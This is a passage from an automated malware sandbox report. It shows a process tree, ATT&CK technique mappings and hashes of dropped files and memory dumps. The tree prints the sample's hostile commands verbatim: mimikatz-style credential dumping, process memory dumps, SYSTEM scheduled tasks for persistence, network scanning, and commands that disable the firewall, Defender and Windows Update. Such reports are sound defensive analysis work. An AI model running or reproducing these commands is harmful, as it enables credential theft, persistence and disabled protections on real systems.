    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1376
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2764
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3376
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4704
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3488
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3948
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1020
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:1844
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4072
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4760
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5088
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:3100
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:5056
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:3008
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:2468
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\gleeqcecb\shhwuwcbk\uutltfljw.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\gleeqcecb\shhwuwcbk\Scant.txt
  2⤵
  PID:1252
- - C:\Windows\gleeqcecb\shhwuwcbk\uutltfljw.exe
    C:\Windows\gleeqcecb\shhwuwcbk\uutltfljw.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\gleeqcecb\shhwuwcbk\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2940
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\gleeqcecb\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\gleeqcecb\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  PID:2188
- - C:\Windows\gleeqcecb\Corporate\vfshost.exe
    C:\Windows\gleeqcecb\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4960
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "yrkyuaujk" /ru system /tr "cmd /c C:\Windows\ime\qimkcel.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4124
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4940
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "yrkyuaujk" /ru system /tr "cmd /c C:\Windows\ime\qimkcel.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4700
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "tpkkselhl" /ru system /tr "cmd /c echo Y|cacls C:\Windows\mrkytpbw\qimkcel.exe /p everyone:F"
  2⤵
  PID:4024
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3424
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "tpkkselhl" /ru system /tr "cmd /c echo Y|cacls C:\Windows\mrkytpbw\qimkcel.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1236
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ichelrzbp" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\lbkubiujb\ikrhah.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1076
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2880
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "ichelrzbp" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\lbkubiujb\ikrhah.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1680
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2448
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4764
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:100
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3788
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2920
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3088
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3988
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3468
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3380
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3916
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4792
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:208
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3116
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1960
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:4312
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3360
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4656
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2660
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:228
- C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe
  C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe -accepteula -mp 756 C:\Windows\TEMP\gleeqcecb\756.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2348
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4348
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4124
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:1256
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3980
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1084
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      PID:4520
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4528
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4960
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:1968
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  PID:4892
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4120
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2392
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    PID:1260
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  PID:3324
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:5116
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4560
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1016
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4648
- C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe
  C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe -accepteula -mp 336 C:\Windows\TEMP\gleeqcecb\336.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3088
- C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe
  C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe -accepteula -mp 1780 C:\Windows\TEMP\gleeqcecb\1780.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4104
- C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe
  C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe -accepteula -mp 2640 C:\Windows\TEMP\gleeqcecb\2640.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2692
- C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe
  C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe -accepteula -mp 2956 C:\Windows\TEMP\gleeqcecb\2956.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3496
- C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe
  C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe -accepteula -mp 2984 C:\Windows\TEMP\gleeqcecb\2984.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2360
- C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe
  C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe -accepteula -mp 3060 C:\Windows\TEMP\gleeqcecb\3060.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1204
- C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe
  C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe -accepteula -mp 3756 C:\Windows\TEMP\gleeqcecb\3756.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1256
- C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe
  C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe -accepteula -mp 3844 C:\Windows\TEMP\gleeqcecb\3844.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1140
- C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe
  C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe -accepteula -mp 3940 C:\Windows\TEMP\gleeqcecb\3940.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2636
- C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe
  C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe -accepteula -mp 4012 C:\Windows\TEMP\gleeqcecb\4012.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3632
- C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe
  C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe -accepteula -mp 3084 C:\Windows\TEMP\gleeqcecb\3084.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4648
- C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe
  C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe -accepteula -mp 4108 C:\Windows\TEMP\gleeqcecb\4108.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1680
- C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe
  C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe -accepteula -mp 816 C:\Windows\TEMP\gleeqcecb\816.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3380
- C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe
  C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe -accepteula -mp 2560 C:\Windows\TEMP\gleeqcecb\2560.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2500
- C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe
  C:\Windows\TEMP\gleeqcecb\jiurhmlkh.exe -accepteula -mp 3184 C:\Windows\TEMP\gleeqcecb\3184.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4000
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\gleeqcecb\shhwuwcbk\scan.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2808
- - C:\Windows\gleeqcecb\shhwuwcbk\auljwezhy.exe
    auljwezhy.exe TCP 181.215.0.1 181.215.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:2692
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  PID:5836
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2364
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3216
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:5432
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5336
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4788
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:5608

C:\Windows\SysWOW64\varpws.exe
C:\Windows\SysWOW64\varpws.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4600

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\qimkcel.exe
1⤵
PID:4000
- C:\Windows\ime\qimkcel.exe
  C:\Windows\ime\qimkcel.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:5108

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\lbkubiujb\ikrhah.exe /p everyone:F
1⤵
PID:3100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3960
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\lbkubiujb\ikrhah.exe /p everyone:F
  2⤵
  PID:1264

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\mrkytpbw\qimkcel.exe /p everyone:F
1⤵
PID:4880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4292
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\mrkytpbw\qimkcel.exe /p everyone:F
  2⤵
  PID:4760

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\qimkcel.exe
1⤵
PID:1016
- C:\Windows\ime\qimkcel.exe
  C:\Windows\ime\qimkcel.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:3400

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\mrkytpbw\qimkcel.exe /p everyone:F
1⤵
PID:3432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3244
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\mrkytpbw\qimkcel.exe /p everyone:F
  2⤵
  PID:5108

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\lbkubiujb\ikrhah.exe /p everyone:F
1⤵
PID:4812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:5088
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\lbkubiujb\ikrhah.exe /p everyone:F
  2⤵
  PID:2816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\gleeqcecb\1780.dmp

Filesize
4.1MB

MD5
3bbd89cec6a4cbb7da75b30cfc8c0e74

SHA1
60daa6745c2de8d52c9bc70f79c0ae08449ed62d

SHA256
fe46bd680a66671dc3a2535cf2653fb7e5cffef3091b1d62d270d7c94a93e89e

SHA512
262a53db97f8dac94657c3dd3568c03a8a0ecf9a0cebfb7ad755b156187d581ac823ae17519ae0c7918c086fccbec7b962eca8cbc99a4c6d4f4f30e10d4e9ff7

Download Submit
C:\Windows\TEMP\gleeqcecb\2640.dmp

Filesize
7.7MB

MD5
f820b04dea87a86fd2f992b157cee7e5

SHA1
d689c84cf25d3f98006fd26572e79bcf417da131

SHA256
2874e4a78ae5eb2f61ed8640f1559152e116aceb7f1797b6360e561b30d917d1

SHA512
9cf658f299d30323382e269299f7e1008b1c5b7c63640ec67c193689d85aacaba81cbe768cc98204be8d350c590fbea6887df456fd61ffaa6a8f05501de84461

Download Submit
C:\Windows\TEMP\gleeqcecb\2956.dmp

Filesize
4.0MB

MD5
c3ef6c34281b1426e90b8d21c10cc32a

SHA1
a0be54dd0da8ddc2763ab312748791316e2f8d10

SHA256
07763980aad6f012216f0e8c4838dad564c52cfd30520bd9ee26c48b2b186653

SHA512
e40796f6ed75cb15679f41c13d9bd1cd78af61f495d1ec3a293e4dc77e7166492b09cf9eb241c1bbf6471e1397ca7b689b60a2a16e5d982cfa0e7c47f63818fb

Download Submit
C:\Windows\TEMP\gleeqcecb\2984.dmp

Filesize
800KB

MD5
11fbdab4f290a6ef1147b637b670b09f

SHA1
cc3e3cde7417b1563f0a9dbec472d6b1fb666266

SHA256
8f5b424e4ac4155d4c0212d64db1bfb5f6b3b607798d0a9e8b4d5c31e6269123

SHA512
04e2f72d65a8175cec32002b08a5133b515a9550ae7a4a70ad86742ad9347e692003f9a9ea118949653d3322f19ac98fa7997a91bc3a35048dca40676174921b

Download Submit
C:\Windows\TEMP\gleeqcecb\3060.dmp

Filesize
2.9MB

MD5
ea9b55e3daed0d93ad5b814faaa144bc

SHA1
cdc1854eedb32944e8cdcefdea56f5857ad7239e

SHA256
dea1b4d86160dce767c66802ed05668cfd44ce96620a50d4bc432859165bfa30

SHA512
034a729da75b7539aa67022a8b725ebfea8a2ea6686ee28294be636907d41b4e9622037344412e06fa7c1f1e97dfbd19c28224e84fa8bdd7fb6189de8b89cc15

Download Submit
C:\Windows\TEMP\gleeqcecb\3084.dmp

Filesize
1.1MB

MD5
a484cd2b02f1985ddc3fa7ed060b6131

SHA1
884f3d78f24b59703ecd9629717cdbe565b5d0a9

SHA256
ca3c5da3a60b7d117cfb75dc7f8f7bcf05455de7e11af2d93325f61b416c8e9a

SHA512
2da5c4993e51f06f03445581ee59f4ff21759876dd167da59d31e416b881375c587958a19e230afa6c467d638232df3676ad520859512ea2a7839c0f306c4603

Download Submit
C:\Windows\TEMP\gleeqcecb\336.dmp

Filesize
33.5MB

MD5
e492aafcb13a1e41b95a48d509fe9b72

SHA1
c5bed677f847cfcbb401d128412dd78e37c388a7

SHA256
28232c88870d7db4d6865890ee363af2460d1b2e7b3b01727963fd42ab2a0439

SHA512
78f1d0d10f1a9e665689b75467555d41169bb767d6caa0ced7482cb8cabaf0ca67d556779768df721501aeb3e5e7378e1bab4414421d73285c2871262f6c6a89

Download Submit
C:\Windows\TEMP\gleeqcecb\3756.dmp

Filesize
2.5MB

MD5
b927244ea6b1c6de6c5a5e8fe93b1efc

SHA1
859480fc719423d4b384e314511c326a97628014

SHA256
6c29561377199f55cd124e320561dc77f72c8e9b208c6faf91d50d99b863de86

SHA512
b7b49d50ee8df823c11a662ac07ebfcf29bcb924cb954979d521443b5b26d4375472e4a3e2838a8d7e06e9865d59ae9e978b303d3bbfb660c21d1f9bd1caccda

Download Submit
C:\Windows\TEMP\gleeqcecb\3844.dmp

Filesize
20.6MB

MD5
c989bb1f3041740b101425e376351773

SHA1
a381257c3ea4bc115f4e998bea476dac869c0086

SHA256
1e135ace1b59dcd02794e7ee0543f515ac400e2f4c3d893e4b2e4b5bc589e564

SHA512
0332478334c462a2b8c8307e1039716598abbbbad9afe3731ded037e14950a699bb4e2a92320a6298a0a0058408b30edb3246dac303f744b0a4aa66766296d2c

Download Submit
C:\Windows\TEMP\gleeqcecb\3940.dmp

Filesize
4.1MB

MD5
b23d83904d3ea9a1cdfdb06ffafadecc

SHA1
c95f3d26181833799222cf149c84433c45aa36e9

SHA256
cc6c4af03ab09504a2d9d5cdafb9923c62efd9efee294bb142f3117f72601b9f

SHA512
0d65e2cd6e99be915d024467294b49e519c918a6e308bf978f6608d14e9cabd8005327a61b32b94fa3a8e50b2bc84c7693e46c7feee592ec741c37625fc0689c

Download Submit
C:\Windows\TEMP\gleeqcecb\4012.dmp

Filesize
44.4MB

MD5
b677e0b846e3f2efbee4056a969ddb05

SHA1
6486f5fd7828b18f3fc72798f161ea56f6d22884

SHA256
aec4e81eb8ae32412768eacc9a2cd954edf15af03a31fac5e927e37403d91d9b

SHA512
fe6d86ced7d9004778500b7d67011b707f7b6a8f9c4bf81c72c55b67db0ee582822b9a9da6488cb365b7df9035556f0dc163df00e3055a6040ea2729da963554

Download Submit
C:\Windows\TEMP\gleeqcecb\4108.dmp

Filesize
25.8MB

MD5
ebdbb72ed01168a54510ae92a6a2b783

SHA1
9b361dc81d2dbd3948bd462f643d3000603b9068

SHA256
df86cf5bfc187661a7cde328eb42eb3e25a6c98aa2d4c358657c3911c8b936ba

SHA512
7e97c31007d5b5de6eaabfcdae61eb4d1e45a7edbefa7a980bb531ff631ab53f68f09291f98e86bd5a546ac8db9acdb85da2a0027cc1adfeb2999593c004e65a

Download Submit
C:\Windows\TEMP\gleeqcecb\756.dmp

Filesize
1019KB

MD5
fa475053d3ff8eab5de66256fb8ea799

SHA1
08aabdaebc026e0243de5e686acd96bf986fb75f

SHA256
a8dc00aa26cd353304aa4aa6d602d2b15ff4cbe8b5a48293d31f7651b004c816

SHA512
e8c0056d089ed68ea81e6b2c4dc5fd33a2d9545c6fa59c493f95090ed0301acc0021f41eca3a33b5e806acde294e95a9e7cdd12c64bc1978230d1553049c4657

Download Submit
C:\Windows\TEMP\gleeqcecb\816.dmp

Filesize
8.5MB

MD5
c8e220f4173b1659c744ed3cb5854e6f

SHA1
56632eccb8eb5c5f7376c60f46cdaa2d8df3d622

SHA256
2bb6dc00562de0c4636dd7f03ca37b3d4ec68a7df4d3a9a535064202e60815f5

SHA512
